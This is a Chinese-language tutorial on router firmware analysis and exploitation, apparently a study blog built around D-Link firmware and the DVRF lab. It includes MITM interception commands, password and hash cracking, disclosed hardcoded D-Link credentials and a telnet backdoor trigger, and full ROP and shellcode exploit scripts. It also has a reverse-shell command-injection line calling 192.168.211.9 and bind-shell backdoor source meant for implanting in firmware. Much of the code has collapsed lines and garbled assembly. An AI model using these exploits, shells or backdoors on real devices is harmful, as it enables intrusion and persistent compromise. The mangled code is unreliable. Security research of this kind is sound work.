從0到1:固件分析

固件分析

0x01 固件提取

1、從廠商官網下載

例如D-link的固件:

https://support.dlink.com/resource/products/

2、代理或鏡像設備更新時的流量

發起中間人攻擊MITM

#啟用IP轉發功能
echo 1 > /proc/sys/net/ipv4/ip_forward#配置iptables,將目的的端口80的流量重定向至SSLstrip監聽的端口10000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000#啟動SSLstrip
ssltrip -a#啟動Ettercap GUI
ettercap -G#監聽網卡,用wireshark監聽同樣的網卡#過濾并保存相關數據,即得到固件

3、直接從設備轉儲固件

通過UART、SPI或者JTAG接口直接轉儲固件

固件提取實戰(附無損提取方案)

0x02 Dlink_DWR-932B 路由器固件分析

得到固件后,若直接打開,會發現該固件被加了密,無法直接解壓縮,這是廠商對該固件做了保護,防止大家逆向分析他的固件。

通過frackzip工具可以破解該zip的密碼

fcrackzip -u -v -b DWR-932.zip

密碼是beUT9Z。
在這里插入圖片描述

解壓后發現文件夾中有多個.yaffs2后綴的文件,這些都是固件的文件。 在這里插入圖片描述

yaffs2里有幾個看上去是recovery的鏡像,核心的應該是2K-mdm-image-mdm9625.yaffs2 ,我們下面就來提取該文件,我首先用binwalk來提取它,但提取出來的文件亂七八糟,不知道什么原因,后來看網上推薦直接用yaffs的原生工具unyaffs提取,就可以了,文件系統清晰明了。

unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

在這里插入圖片描述

接下來我們查找該路徑下的所有.conf文件,.conf文件多是配置文件,有可能從中可以發現敏感的信息。

find . -name '*.conf'

在這里插入圖片描述

其中的inadyn-mt.conf文件引起了我們注意,這是no-ip應用的配置文件,no-ip就是一個相當于花生殼的東西,可以申請動態域名。我們從中可以發現泄露的no-ip的登陸賬號及密碼。

cat etc/inadyn-mt.conf

在這里插入圖片描述

除了上述泄露的no-ip賬號密碼,我們還從shadow文件中找到了root賬號的密碼,通過爆破可以得到root的密碼為1234。

cat ~/yaffs2-root/etc/shadowcat /etc/shadow | grep root | cut -d: -f2 > root.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt root.hash

在這里插入圖片描述

其實并不止有.conf文件會泄露信息,還有很多其他后綴的敏感文件會泄露信息,我們接下來使用firmwalker工具來自動化遍歷該固件系統中的所有可疑文件。

git clone https://github.com/craigz28/firmwalker.git

命令如下,firmwalker會將結果保存到firmwalker.txt。

./firmwalker.sh ~/yaffs2-root/

在這里插入圖片描述

看了下該工具的源碼,沒啥亮點,就是遍歷各種后綴的文件。
在這里插入圖片描述

后綴都在data文件夾中的各個配置文件中。
在這里插入圖片描述

分析完敏感的配置文件后,我們接下來分析存在風險的二進制程序。查看自啟動的程序,一個start_appmgr腳本引起了我們注意,mgr一般就是主控程序的意思。

在這里插入圖片描述

該腳本會在開機的時候以服務的形式運行/bin.appmgr程序。

在這里插入圖片描述

appmgr 分析

用 IDA 打開 /bin/appmgr 程序看看

main 函數下 F5,可以發現有一個線程會持續監聽 0.0.0.0:39889(UDP),并等待傳入控制命令,如果某個用戶向目標路由器發送了一個 HELODBG 字符串,那么路由器將會執行 /sbin/telnetd -l /bin/sh ,并允許這名用戶在未經身份驗證的情況下以 root 用戶的身份登錄路由器。

在這里插入圖片描述

默認 admin 賬號

搜索 mod_sysadm_config_passwd 函數

在這里插入圖片描述

路由器的管理員賬號。設備的管理員賬號默認為“admin”,而密碼同樣也是“admin”。

默認 WPS PIN 碼

搜索 wifi_get_default_wps_pin 函數

在這里插入圖片描述

默認配置下,該路由器 WPS 系統的 PIN 碼永遠都是 28296607 因為這個 PIN 碼是硬編碼在 /bin/appmgr 程序中


fotad 分析

路由器與 FOTA 服務器進行通信時的憑證數據硬編碼在 /sbin/fotad 代碼中,我們用 IDA 進行分析

搜索 sub_CAAC 函數,可以發現被 base64 過的憑證

在這里插入圖片描述

用戶/密碼如下

cWRwYzpxZHBj        qdpc:qdpc
cWRwZTpxZHBl        qdpe:qdpe
cWRwOnFkcA==        qdp:qdp

UPnP 安全問題

UPnP 允許用戶動態添加防火墻規則。因為這種做法會帶來一定的安全風險,因此設備通常都會對這種操作進行限制,以避免不受信任的客戶端添加不安全的防火墻規則。

UPnP 的不安全性早在2006年就已經是眾所周知的事情了。而該路由器中 UPnP 程序的安全等級仍然非常的低,處于局域網內的攻擊者可以隨意修改路由器的端口轉發規則。

文件 /var/miniupnpd.conf 是由 /bin/appmgr 程序生成的:

搜索 sub_2AE0C 函數

在這里插入圖片描述

該程序會生成 /var/miniupnpd.conf

ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no      # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD

0x03 D-Link DIR-882固件解密

我們可以通過分析固件的之前的一些版本,找到研究固件當前版本的一些線索。

下面這張圖

image-20210310145532897

image-20210310145532897

是很多路由器廠家會采取的一種更新升級固件并使固件更加“安全“的方案。 這個方案是這樣的:最開始發布的固件是沒有加密的,也沒有附帶任何解密的文 件,隨著固件更新,解密文件會和較新版本 v1.1 中的未加密版本一起發布,以 便將來進行固件加密,v1.1 版本作為過渡使用。而到了 v1.2 時,固件則是以加密形式發布的,不過仍附帶解密文件。

[固件下載地址](https://github.com/OL4THREE/Practice-Note/tree/main/D-Link DIR-882固件解密實驗)

我們以 D-Link DIR-882 固件為例。我們在分析固件時會發現它被 加密過了,使用 binwalk 根本無法探測,比如這次的固件 v1.20b06

image-20210310151511835

這時候我們可以考慮通過分析舊版本的固件嘗試是否有什么線索來解密現在這 個新版本的固件 在 這 里 我 們 可 以 找 到 所 有 舊 版 本 的 固 件 ( ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ ) , 我 們 找 個 最 早 的 版 本 v1.00b07,下載來后解壓嘗試binwalk讀取

image-20210310151552125

可以看到能識別出信息,或者說是沒有加密過的。 那再看看稍微新一點的版本

v1.10b02

image-20210310151718892

可以看到有兩個 bin 文件,說明 1.04b02 的過渡版本,它包含在 v1.10b02 固件包 匯中,名字也已經告訴我們了,1.04b02 是未加密的 分別使用 binwalk

image-20210310152045023

而加密后的固件卻什么也看不到

image-20210310152141476

我們把 1.04b02 提取出來

image-20210310152258117

進入生成的文件夾

image-20210310152409226

注意到有兩個文件,使用 binwalk 提取 A0 進入新文件夾 再次提取8AB758最近進入文件夾

image-20210310152655387

注意到這里有一個 Imgdecrypt 的文件,看名字,應該是用來解密鏡像的 file 查看

image-20210310153011754

發現是個可執行文件,嘗試執行,缺少相應的 so 文件,這很正常,因為這個文 件是寫在 mips 架構上運行的,而我們目前是 x86 為了運行它,我們使用 qemy-mipsel-static

image-20210310153011754

首先將其復制到固件根文件系統的/usr/bin 目錄下 在將前面發現是加密的固件 1.20b06 復制過來

sudo chroot . ./qemu-mipsel-static ./bin/sh

image-20210310153928160

接著還是同樣的辦法模擬 mips 架構拿到 shell 此時再執行 imgdecrypt 可以看到 打印出了使用方法 按照其提示,可以看到對原來加密的固件進行了解密 操作如上圖所示 這時候再次使用 binwalk 查看被解密后的固件,可以看到已經可以識別了

image-20210310154124223

這給我們的啟示就是,在碰到加密的固件時,可以考率查找位于同一產品線、具 有相同處理器體系結構的路由器固件,找那些版本舊一些的,或者過渡版本,或 許就能為我們提供線索。 我們使用 binwalk 如之前未加密的固件一般一步步提取

image-20210310154715261

敏感信息分析

可以看到文件系統都被提取出來了 這里介紹一個常用的小工具 firmwalk.sh 它將搜索固件文件系統,以獲取與敏感信息相關的東西,如:

etc/shadow and etc/passwd
列出 etc/ssl 目錄
搜索相關的文件,如. pem,. crt, 等。
搜索配置文件
查找腳本文件
搜索其他. bin 文件
查找諸如管理員。密碼。遠程等關鍵字。
搜索在 IoT 設備上使用的通用網絡服務器
搜索常見的二進制文件,如 ssh。tftp。dropbear 等。
搜索網址,電子郵件地址和 IP 地址

我們可以使用它來看看這個文件系統中有哪些敏感信息 命令為./firmwalker.sh 文件系統的路徑

image-20210310155058406

image-20210310155209933

image-20210310155231701

image-20210310155302852

image-20210310155344902

0x04 基于固件仿真的動態分析

外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

0x05 MIPS架構下的漏洞利用(DVRF靶場)

 $ file ./bin/busybox                                  
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

stack_bof_01

獲取參數后,未校驗長度賦值給局部變量造成棧溢出,有后門函數 0x00400950 :

img

Main 函數由 libc_main_start 調用,即 main 函數為非葉子函數,返回地址存放在棧上,從匯編可見:

img

img

直接跳轉 0x00400950 會因為 t9 的值被修改而錯誤。mips默認 t9 為當前函數開始地址。函數內部通過 t9 寄存器和 gp 寄存器來找數據,地址等。

其他師傅文章中是通過找 libc 中的 lw t 9 , a r g 0 ( t9, arg_0( t9,arg0?(sp);jalr $t9 調整 t9 寄存器。但是我固件鏡像中的 libc 沒有這個 gadget ,按照偏移地址跳轉過去是 jalr $t9 。換個思路直接跳過 dat_shell 開頭調整 gp 部分:

img

修復 t9 寄存器思路參考師傅文章:

https://www.cnblogs.com/hac425/p/9416758.html

調試方法

需要打開幾個 terminal 啟動不同的命令:

  • 啟動 qemu 模擬-strace 查看 qemu 調試信息,方便觀察執行了什么命令qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa

  • gdb-multiarchgdb-multiarch ./pwnable/Intro/stack_bof_01

    set architecture mips
    set endian little
    target remote :1234

連上之后會停在 start ,在 main 函數開頭打斷點,運行到這個斷點,然后就慢慢單步調試。

EXP

字符串是從參數讀入,跳轉地址轉換后是不可見字符 ,需要借助 cat 傳入參數

# file_name: stack_bof_01.py
from pwn import *context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)with open("stack_bof_01_payload","w") as file:file.write(payload)

命令行執行:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

stack_bof_02

和前面一題差不多,調試方法也一樣,就是少了后門函數,造成溢出函數變成了 strcpy :

img

main 非葉子函數覆蓋函數返回地址跳轉存放在棧上的 shellocde 。qemu 模擬地址沒有隨機化,相當于 aslr 關閉了,直接調試查出 v4 的內存地址

Shellcode 查詢:
http://shell-storm.org/shellcode/files/shellcode-792.php

直接寫入 shellcode 可以完整執行完,但是執行 syscall 0x40404 之后沒有彈 shell 而是進行運行到下一條指令。問了師傅說也有遇到過這種情況,通過加無意義的指令(nop)調整 shellcode 位置有機會能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截斷(只有不包含截斷符指令都行),嘗試后無果。

img

查閱資料后發現,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要調用 sleep 或者其他函數將數據區刷新到當前指令區中去,才能正常執行 shellcode 。

https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c

img

構造 ROP 的 gadget 得去 libc 找,程序自身沒多少個。我在 ubuntu18 gdb 連上報錯,換到 ubuntu16 vmmap 查不出來 libc 信息(如圖),最后換 attify 解決問題。

libc路徑:/squashfs-root/lib/libc.so.0

img

先調用 sleep(1) 就需要找 gadget 控制參數以及跳轉。mipsrop.find(“li $a0,1”) 控制第一個參數,任選一個后面 rop 沒有 gadget 繼續構造就換一個 -。- ,我選著第二個構造 gadget1 = 0x2FB10 :

img

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818

接著需要找一個控制 s1 的 gadget ,用于控制執行完 gadget1 之后跳轉到哪里。mipsrop.find(“li $s1”) 結果有很多,最后選了 gadget2 = 0x00007730 :

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra

至此 a0 被控制為 1 ,目前 payload 結構為:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra

不能直接將 sleep(0x767142b0) 填到 s1 處,因為直接填地址跳轉 sleep 缺少了跳轉前將返回地址放到 ra 寄存器(或壓棧)的過程,當 sleep 運行到結尾的 jalr $ra 時,又會跳轉會到 gadget1 ,所以要換個方式。

mipsrop.tails() 找通過 s0\s2\s3 寄存器跳轉的 gadget ,選擇了 gadget3 = 0x00020F1C :

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9

解決 sleep 運行結束返回地址問題,并 lw r a , 0 x 18 + v a r s C ( ra, 0x18+var_sC( ra,0x18+vars?C(sp) 控制下一層跳轉,payload 結構:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra

mipsrop.stackfinders() 找一個 gadget 提取棧地址放到寄存器中,找的時候還要注意控制下一次跳轉選擇 gadget4 = 0x16dd0 這個,通過 gadget3 提前將下次跳轉地址寫入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra

最后找一個用 a0 跳轉的 gadget ,一開始用 mipsrop.tails() 沒找到,最后用 mipsrop.find(“move t 9 , t9, t9,a0)”) 找著了 gadget5 = 0x214a0 ,對 mipsrop 理解不夠……

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9

最后跳轉 shellcode 時,0x000214A4 的這句匯編 sw v 0 , 0 x 30 + v a r 1 8 ( v0, 0x30+var_18( v0,0x30+var1?8(sp) 會將 shellcode 第一個指令替換為 nop ,用無意義指令填充,將 shellcode 向后移。

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

EXP

from pwn import *context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f "  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e "  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcodewith open("stack_bof_02_payload","w") as file:file.write(payload)

socket_bof

這題二進制文件用 ida 看偽代碼有點瑕疵,本來溢出點變成了一個指針,導致一直找不到,最后無奈去看了下源碼和結合匯編。

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>// Pwnable Socket Program
// By b1ack0wl
// Stack Overflowint main(int argc, char **argv[])
{if (argc <2){printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);}char str[500] = "\0";char endstr[50] = "\0";int listen_fd, comm_fd;int retval = 0;int option = 1;struct sockaddr_in servaddr;listen_fd = socket(AF_INET, SOCK_STREAM, 0);bzero( &servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = htons(INADDR_ANY);servaddr.sin_port = htons(atoi(argv[1]));printf("Binding to port %i\n", atoi(argv[1]));retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));if (retval == -1){printf("Error Binding to port %i\n", atoi(argv[1]));exit(1);}if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){printf("Setsockopt failed :(\n");close(listen_fd);exit(2);
}listen(listen_fd, 2);comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);bzero(str, 500);write(comm_fd, "Send Me Bytes:",14);read(comm_fd,str,500);sprintf(endstr, "nom nom nom, you sent me %s", str);printf("Sent back - %s",str);write(comm_fd, endstr, strlen(endstr)+1);shutdown(comm_fd, SHUT_RDWR);shutdown(listen_fd, SHUT_RDWR);close(comm_fd);close(listen_fd);
return 0x42;
}

棧溢出在這句 sprintf(endstr, “nom nom nom, you sent me %s”, str); str 是 socket 傳入的數據,長度內容為我們所控制,溢出 padding 為 51

img

調試方法

在 ubuntu 16.04 下 gdb-multiarch target remote :1234 鏈接上后報錯退出,切換到 attify 能繼續使用最常規方式調試:qemu-user 模式加 -g 打開調試端口,gdb-multiarch target remote :1234 鏈接上去。

# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips 
set endian little
target remote :1234

另外一個調試方法是 qemu system 啟動 mips 系統,然后傳入一個 gdb-server ,在里面運行程序然后 gdb-server attach 程序,再在外面用 gdb 鏈接上去。

attify 里面 gdb 插件是 gef ,用 vmmap 讀不出 libc 地址

img

曲線救國在 0x00400D34 打下斷點,單步跟進去查看 sprintf 的真實地址,然后再從 ./lib/libc.so.0 讀取偏移算出基地址

img

全部題目用的 libc 都同一個,需要 shellcode 的題目,換下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的腳本 libc_base 和 attify 不一樣要換下基地址。

Stack_bof_02 的 execve(‘/bin/sh’) 能打通

img

找一個反彈 shell 的 shellcode 替換,或者將 shell 綁定到某個端口

反彈 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
綁定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php

綁定 shell 的 shellcode 預期是開在本地的 4919 端口,實際運行后發現并不是,要自己查端口 -。- ,然鵝 nc 連上去后程序會蹦掉。

反彈 shell 的 shellcode 預編是反彈到 192.168.1.177:31337 ,要么修改網卡 ip ,要么就改一下 shellcode 傳入的 ip

img

將 ip 地址轉換成 16 進制

hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0

編譯一下,編譯失敗看看是不是 binutils 沒裝

from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")

然后搜索 \x01\xb1\x05 \xc0\xa8\xa5\x34 替換為自己編譯的:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

EXP

#!/usr/bin/python
from pwn import *context.arch = 'mips'
context.endian = 'little'libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0gadget1 = 0x2fb10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x7730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SCp = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')p.sendline(payload)p.interactive()

socket_cmd

遠程命令注入,參考資料看下面:

CTF之命令執行繞過總結
反彈Shell,看這一篇就夠了

img

EXP

依次打開終端運行

#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`

img

是 iot 用戶 nc 鏈接上去程序,程序是用 sudo 起來,所以切換到 root

0x06 使用firmware-mod-kit(FMK)在固件中添加后門

在漏洞利用過程中,經常需要用到的一種方法就是篡改固件。也就是從固件中提取文件系統,對其內容進行修改,然后再將其重新打包成新的固件,隨后攻擊者可以將這個新打包的固件刷進設備。

準備工作

固件篡改的過程會用到工具 FMK,該工具由 Jeremy Collake 和 Craig Heffner 開發。FMK 不僅可以利用 Binwalk 或其他工具從固件中提取出文件系統,還具有將篡改后的文件系統重新打包成新固件的功能。

FMK 可以從https://github.com/brianpow/firmware-mod-kit/下載,如果讀者之前從 GitHub 中克隆了 FAT 代碼,那么該工具應該已經存在于讀者的系統中了。下載完該工具后,接下來我們就可以找一個固件一試身手了。出于簡單起見,同時讓本書的讀者在無須投入資金購買硬件的情況下也能夠復現以下步驟,我們主要以能夠采用 FAT 進行仿真的固件為例進行介紹。

測試流程

篡改固件的步驟如下:

1)在本例中我們使用的固件來自 D-Link DIR-300 路由器。在這里我們使用 FMK 目錄下的 extract-firmware.sh 腳本從固件中提取文件系統,而未使用 Binwalk。操作命令如圖 1 所示。

./extract-firmware.sh Dlink_firmware.bin

img

提取出固件后,腳本會生成一個新目錄,其中包括 rootfs、image_part 和 logs 等文件夾。由于攻擊者的目的大多是添加后門和修改固件,因此這里我們只關心 rootfs 文件夾。

rootfs 文件夾中包含了固件中的整套文件系統。而我們所要做的工作就是在固件中添加后門,然后找到固件啟動后自動調用后門的方法。

2)首先查看固件所基于的架構。對固件中任一文件執行 readelf 命令就可以查看其架構,以 BusyBox 文件為例,命令執行結果如圖 2 所示。

img

3)正如我們從圖 2 中看到的,固件是基于 MIPS 小端架構的。這意味著我們需要開發符合 MIPS 小端架構的后門并進行編譯。下面是我們將要使用的后門源碼,該后門由 Osanda Malith 開發編寫:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT  9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)  * Bind Shell using Fork for my TP-Link mr3020 router running busybox  * Arch : MIPS  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc  */int main() {   int serverfd, clientfd, server_pid, i = 0;   char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";   char *args[] = { "/bin/busybox", "sh", (char *) 0 };   Analyzing and Exploiting Firmware   struct sockaddr_in server, client;   socklen_t len;server.sin_family = AF_INET;   server.sin_port = htons(SERVER_PORT);   server.sin_addr.s_addr = INADDR_ANY;serverfd = socket(AF_INET, SOCK_STREAM, 0);   bind(serverfd, (struct sockaddr *)&server, sizeof(server));   listen(serverfd, 1);while (1) {         len = sizeof(struct sockaddr);         clientfd = accept(serverfd, (struct sockaddr *)&client, &len);        server_pid = fork();        if (server_pid) {         write(clientfd, banner,  strlen(banner));           for(; i <3 /*u*/; i++) dup2(clientfd, i);           execve("/bin/busybox", args, (char *) 0);           